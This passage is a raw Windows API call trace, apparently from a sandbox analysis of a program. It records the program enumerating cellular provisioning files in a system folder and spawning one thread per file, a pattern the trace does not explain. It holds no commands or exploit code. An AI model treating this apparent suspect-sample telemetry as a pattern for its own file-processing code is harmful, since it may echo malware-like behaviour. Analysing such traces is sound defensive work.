ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ea67ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml", cAlternateFileName="402__C~1.PRO")) returned 1 [0180.413] wcscmp (_String1="402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.413] wcscmp (_String1="402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.413] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2fe1da8 [0180.413] wcscpy (in: _Dest=0x2fe1da8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.413] wcscat (in: _Dest=0x2fe1da8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.413] wcscat (in: _Dest=0x2fe1da8, _Source="402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml" [0180.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1da8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0180.414] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ecca53, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ecca53, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ecca53, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35a, dwReserved0=0x0, dwReserved1=0x0, cFileName="403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml", cAlternateFileName="403__C~1.PRO")) returned 1 [0180.414] wcscmp (_String1="403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.414] wcscmp (_String1="403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.414] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2fe2868 [0180.414] wcscpy (in: _Dest=0x2fe2868, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.414] wcscat (in: _Dest=0x2fe2868, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.414] wcscat (in: _Dest=0x2fe2868, _Source="403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml" [0180.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984 [0180.415] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ecca53, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ecca53, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ecca53, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="404__C~1.PRO")) returned 1 [0180.415] wcscmp (_String1="404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0180.415] wcscmp (_String1="404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0180.415] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fe12e8 [0180.415] wcscpy (in: _Dest=0x2fe12e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.415] wcscat (in: _Dest=0x2fe12e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.415] wcscat (in: _Dest=0x2fe12e8, _Source="404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0180.415] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe12e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0180.416] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ecca53, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ecca53, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ecca53, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="405__C~1.PRO")) returned 1 [0180.416] wcscmp (_String1="405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0180.416] wcscmp (_String1="405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0180.416] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054488 [0180.416] wcscpy (in: _Dest=0x3054488, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.416] wcscat (in: _Dest=0x3054488, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.416] wcscat (in: _Dest=0x3054488, _Source="405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0180.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980 [0180.416] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ecca53, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ecca53, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ecca53, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", cAlternateFileName="406__C~1.PRO")) returned 1 [0180.416] wcscmp (_String1="406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.417] wcscmp (_String1="406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.417] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f02ea0 [0180.417] wcscpy (in: _Dest=0x4f02ea0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.417] wcscat (in: _Dest=0x4f02ea0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.417] wcscat (in: _Dest=0x4f02ea0, _Source="406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" [0180.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368 [0180.417] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ecca53, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ecca53, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ecca53, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml", cAlternateFileName="407__C~1.PRO")) returned 1 [0180.417] wcscmp (_String1="407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.417] wcscmp (_String1="407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.418] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fe1440 [0180.418] wcscpy (in: _Dest=0x2fe1440, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.418] wcscat (in: _Dest=0x2fe1440, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.418] wcscat (in: _Dest=0x2fe1440, _Source="407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml" [0180.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0180.418] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ef2cc3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ef2cc3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ef2cc3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x0, dwReserved1=0x0, cFileName="408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml", cAlternateFileName="408__C~1.PRO")) returned 1 [0180.440] wcscmp (_String1="408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.440] wcscmp (_String1="408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.440] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2fe1598 [0180.440] wcscpy (in: _Dest=0x2fe1598, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.440] wcscat (in: _Dest=0x2fe1598, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.440] wcscat (in: _Dest=0x2fe1598, _Source="408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml" [0180.440] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820 [0180.441] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ef2cc3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ef2cc3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ef2cc3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml", cAlternateFileName="409__C~1.PRO")) returned 1 [0180.441] wcscmp (_String1="409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.441] wcscmp (_String1="409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.441] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2fe29c0 [0180.441] wcscpy (in: _Dest=0x2fe29c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.441] wcscat (in: _Dest=0x2fe29c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.441] wcscat (in: _Dest=0x2fe29c0, _Source="409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml" [0180.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe29c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828 [0180.442] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90221ca6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90221ca6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90221ca6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml", cAlternateFileName="40__CO~1.PRO")) returned 1 [0180.442] wcscmp (_String1="40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.442] wcscmp (_String1="40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.442] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f02318 [0180.442] wcscpy (in: _Dest=0x4f02318, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.442] wcscat (in: _Dest=0x4f02318, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.442] wcscat (in: _Dest=0x4f02318, _Source="40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml" [0180.442] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0180.442] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ef2cc3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ef2cc3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ef2cc3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml", cAlternateFileName="410__C~1.PRO")) returned 1 [0180.443] wcscmp (_String1="410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.443] wcscmp (_String1="410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.443] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2fe1038 [0180.443] wcscpy (in: _Dest=0x2fe1038, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.443] wcscat (in: _Dest=0x2fe1038, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.443] wcscat (in: _Dest=0x2fe1038, _Source="410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml" [0180.443] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4 [0180.444] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ef2cc3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ef2cc3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ef2cc3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="411__C~1.PRO")) returned 1 [0180.444] wcscmp (_String1="411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0180.444] wcscmp (_String1="411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0180.444] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x30545c0 [0180.444] wcscpy (in: _Dest=0x30545c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.444] wcscat (in: _Dest=0x30545c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.444] wcscat (in: _Dest=0x30545c0, _Source="411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0180.444] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30545c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0180.444] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: 